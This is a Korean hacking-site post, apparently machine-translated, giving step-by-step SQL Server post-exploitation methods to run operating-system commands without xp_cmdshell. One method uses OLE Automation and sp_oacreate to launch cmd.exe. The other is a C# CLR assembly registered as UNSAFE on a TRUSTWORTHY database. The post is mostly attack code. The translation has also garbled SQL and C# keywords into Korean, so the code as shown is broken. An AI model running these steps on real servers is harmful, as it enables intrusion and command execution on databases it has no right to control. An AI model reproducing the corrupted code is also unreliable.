SQL Server에 xp_cmdshell 실행 명령이 없습니다.

krhackapt · 25nj

COM을 사용하여 명령 실행

(Ole 자동화 프로시저 구성 요소를 활성화해야 함)

선언 @luan int,@exec int,@text int,@str varchar(< 범위>8000 ); exec sp_oacreate '{72C24DD5-D70A-438B-8A42-98424B88AFB8}',@luan 출력; exec sp_oamethod @luan,'exec' ,@exec 출력,'C:\\Windows\\System32\\cmd.exe /c whoami'; exec sp_oamethod @exec, 'StdOut', @text out; exec sp_oamethod @ 텍스트, 'readall', @str out; 선택 @str;

SQL Server에 xpcmdshell 실행 명령-1.png가 없습니다.

Ole 자동화 프로시저가 활성화되지 않은 경우 다음 명령을 사용하여 활성화할 수 있습니다.

sp_configure '고급 옵션 표시', 1; GO RECONFIGURE; GO sp_configure 'Ole 자동화 절차', 1; GO RECONFIGURE; GO 

작성 언어: C#
VsCreate 클래스 라이브러리

 사용 시스템; 사용 System.Collections.Generic; 사용 System.Linq; 사용 System.Text; 사용 시스템; 사용 System.Threading.Tasks; 네임스페이스 shellexec { 공개 클래스 exec { 공개 정적 문자열 cmd(문자열 명령 범위>) { System.Diagnostics.Process pro = 새 System.Diagnostics.Process(); pro.StartInfo.FileName = "cmd.exe"; pro.StartInfo.UseShellExecute = false; pro.StartInfo.RedirectStandardError = true; //표준 오류 pro.StartInfo.RedirectStandardInput = true; //표준 입력 pro.StartInfo.RedirectStandardOutput = true //표준 출력 pro.StartInfo.CreateNoWindow = true; //새 창에서 프로세스를 열지 여부 pro.Start(); pro.StandardInput.WriteLine(command + "&&exit"); //명령 매개변수 쓰기 pro.StandardInput.AutoFlush = true ; //버퍼가 자동으로 새로 고쳐집니다. string 출력 = pro.StandardOutput.ReadToEnd(); //실행 결과 읽기 pro.WaitForExit(); //실행이 완료될 때까지 기다린 후 종료 pro.Close(); returnoutput.ToString(); } } } 

dll을 생성한 후 16진수 메서드를 사용하여 대상에 쓰거나 셸 업로드를 사용할 수 있습니다. . 그런 다음 구성을 시작합니다.
1. 대상 데이터베이스 인스턴스는 clr 통합

exec sp_configure 'clr 활성화'를 활성화해야 합니다.1;--SQL Server에서 CLR을 활성화합니다. reconfigure; go 

2. 대상 데이터베이스의 신뢰 속성을 false로 설정해야 합니다. 다음 명령문을 사용하여

ALTER<를 활성화할 수 있습니다. /span> DATABASE [<데이터베이스 이름>] SET TRUSTWORTHY ON 

3. 데이터베이스에 DLL을 등록합니다.

CREATE ASSEMBLY MySqlCLR FROM '<dll 경로>' //MySqlCLR은 dll을 가져온 후의 변수입니다. 이름 

4. 함수 생성
(해당 함수 유형의 매개변수에 따라 해당 매개변수 유형을 구성한 후 RETURNS [nvarchar] (최대) 문자열 유형을 반환하는 경우 최대값을 반환하도록 설정해야 합니다. 직접적으로 이 dll의 이름은 해당 네임스페이스, 클래스, 함수에 있습니다.

생성 함수 [dbo].[cmd2] ( @cmd AS NVARCHAR(< 범위>최대) ) 반환 [nvarchar] (최대) WITH 실행 AS 호출자 AS 외부 이름 [MySqlCLR].[shellexec.exec].cmd //shellexec는 네임스페이스, exec는 클래스 이름, cmd는 함수 이름 GO 

5. 어셈블리의 권한 수준은 외부 액세스로 설정되어야 합니다. 그렇지 않으면 오류가 발생합니다.

ALTER ASSEMBLY [MySqlCLR] WITH PERMISSION_SET = 배포 중에 보고됩니다. UNSAFE 

6. 저장 프로시저를 호출하고 함수 메서드를

선택하여 [dbo].[cmd2]('whoami'< /범위>)

SQL Server에 xpcmdshell 실행 명령-2.png가 없습니다.

SQL Server에 xpcmdshell 실행 명령-3.png가 없습니다.

참조 링크:
https://blog.csdn.net/catchme_439/article/details/78411009
https://zhuanlan.zhihu.com/p/33322584?from_voters_page=true

SQL Server에 xp_cmdshell 실행 명령이 없습니다.

krhackapt

Administrator

COM을 사용하여 명령 실행​

COM을 사용하여 명령 실행